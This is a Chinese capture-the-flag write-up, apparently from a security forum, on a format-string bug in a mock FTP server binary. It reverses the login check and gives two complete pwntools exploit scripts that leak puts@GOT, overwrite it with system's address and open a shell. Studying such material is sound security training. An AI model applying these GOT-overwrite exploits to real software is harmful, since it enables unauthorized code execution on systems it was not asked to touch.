这道题是一个格式化字符串漏洞的题,但是中间涉及的知识点还是挺多的,需要的思路也比较完善,是一个质量还挺高的题目,值得玩味一下。
从基本的程序信息上看,没有什么特殊的地方。运行程序,根据输入的结果,可以肯定对输入进行了验证处理,具体的功能和逻辑还需要看一下代码。
strings查看一下是否有明显的字符串信息:
从搜索到字符串来看,程序中存在几个高危函数,之所以考虑printf是预防一下格式化字符串漏洞的出现。
main函数:
从main函数来看,没有明显的问题,但是main函数下调用了几个其他的函数,依次进去查看一下。
ask_username()函数:
在这个函数里,我们发现src中是我们输入的username,然后下面的循环对username进行了处理:依次将src中的字符的ascii码进行+1的操作,完事之后copy到了dest中,没有发现后续的处理了,也没有发现条件判断和对比。既然对输入做了处理,那么就需要对输入进行判断,可能在其他函数中实现。
ask_password()函数:
在这个函数中发现了对处理后的username进行的判断,判断是否与"sysbdmin"相等,然后返回welcome。
那我们可以使用下面的代码还原出正确的username:
username = bytearray("sysbdmin") for i in range(len(username)): username[i] -= 1 print username
最后得到的正确的username为rxraclhm。
重新输入正确的username,看程序反应:
![](upload/attach/201910/779730_P39MFBBF9QFU7B8.png)
ok,现在可以正常进入到程序流程了。继续回到IDA查看源码。
get_command()函数:
在这个函数中我们看到对根据不同的输入执行不同的判断并返回不同的数值,而该函数是在进行完username后执行的,也就是这里期望我们输入的是"get","put","dir"这三个字符串。
put_file()函数:
输入的字符串为"put",就会执行到该函数,但看该函数的代码没有发现明显的问题,需要我们输入file的名字以及内容。
get_file()函数:
输入的字符串为"get",就会执行到该函数。在该函数的代码中,主要是根据输入的file的名字来获取文件并输出内容,而且还调皮了一下判断是不是输入的"flag"。在输出的时候,printf函数有明显的格式化字符串漏洞,这里我们先记一下,有可能是主要的漏洞利用的地方。
show_dir()函数:
输入的字符串为"dir",就会执行到该函数。但是看函数代码,也没有发现特殊的地方。
根据上面对各个函数的代码的分析,我们总结一下:
该程序是一个类似ftp服务器的程序,可以输入put|get|dir三个命令。
struct _FILE { char filename[40]; char content[200]; struct _FILE *previous; };
在put函数中发现了一个明显的格式化字符串漏洞,那么我们就可以从这里入手,搞一波。
大体思路就是上面的思路,解题过程中遇到的坑在exp中进行说明。
#!/usr/bin/env python from pwn import * #context.log_level = 'debug' elf = ELF('cctf_pwn3') libc = ELF('/lib32/libc.so.6') #没有远程环境了,直接本地测试 sh = process('./cctf_pwn3') #这里直接输入了计算的正确的username username = 'rxraclhm' sh.recvuntil("Name (ftp.hacker.server:Rainism):") sh.sendline(username) # 根据前面的代码分析,不同的输入字符串返回不同的数字,进入不同的处理函数 # 分别构造程序的三个主函数 def put(sh,name,content): sh.sendlineafter("ftp>",'put') sh.sendlineafter("upload:",name) sh.sendlineafter("content:",content) def get(sh,name,num): sh.sendlineafter("ftp>",'get') sh.sendlineafter("get:",name) return sh.recvn(num) def dir(sh): sh.sendlineafter("ftp>",'dir') # 获取puts函数的address puts_plt = elf.symbols['puts'] print 'puts_plt= ' + hex(puts_plt) puts_got = elf.got['puts'] print 'puts_got= ' + hex(puts_got) # 获取system函数的地址 put(sh,'/sh','%8$s'+p32(puts_got)) text = get(sh,'/sh',4) puts_addr = u32(text) print 'puts_addr= ' + hex(puts_addr) sys_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system']) print 'sys_addr= ' + hex(sys_addr) def cctf(name, address, num): num = num & 0xff if num == 0: num == 0x100 payload = '%' + str(num) + 'c%10$hhn' payload = payload.ljust(12,'A') put(sh,name,payload+p32(address)) get(sh,name,0) # 拼接/bin,每次只写入一个字节(一次写太多崩溃了==) cctf('n',puts_got,sys_addr) cctf('i',puts_got+1,sys_addr>>8) cctf('b',puts_got+2,sys_addr>>16) cctf('/',puts_got+3,sys_addr>>24) # system("/bin/sh") dir(sh) sh.interactive()
对格式化字符串偏移的计算:
执行结果,成功获取拿到shell:
from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' pwn3 = ELF('./pwn3') if args['REMOTE']: sh = remote('111', 111) else: sh = process('./pwn3') def get(name): sh.sendline('get') sh.recvuntil('enter the file name you want to get:') sh.sendline(name) data = sh.recv() return data def put(name, content): sh.sendline('put') sh.recvuntil('please enter the name of the file you want to upload:') sh.sendline(name) sh.recvuntil('then, enter the content:') sh.sendline(content) def show_dir(): sh.sendline('dir') tmp = 'sysbdmin' name = "" for i in tmp: name += chr(ord(i) - 1) # password def password(): sh.recvuntil('Name (ftp.hacker.server:Rainism):') sh.sendline(name) #password password() # get the addr of puts puts_got = pwn3.got['puts'] log.success('puts got : ' + hex(puts_got)) put('1111', '%8$s' + p32(puts_got)) puts_addr = u32(get('1111')[:4]) # get addr of system libc = LibcSearcher("puts", puts_addr) system_offset = libc.dump('system') puts_offset = libc.dump('puts') system_addr = puts_addr - puts_offset + system_offset log.success('system addr : ' + hex(system_addr)) # modify puts@got, point to system_addr payload = fmtstr_payload(7, {puts_got: system_addr}) put('/bin/sh;', payload) sh.recvuntil('ftp>') sh.sendline('get') sh.recvuntil('enter the file name you want to get:') #gdb.attach(sh) sh.sendline('/bin/sh;') # system('/bin/sh') show_dir() sh.interactive()
[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!
最后于 2天前 被有毒编辑 ,原因: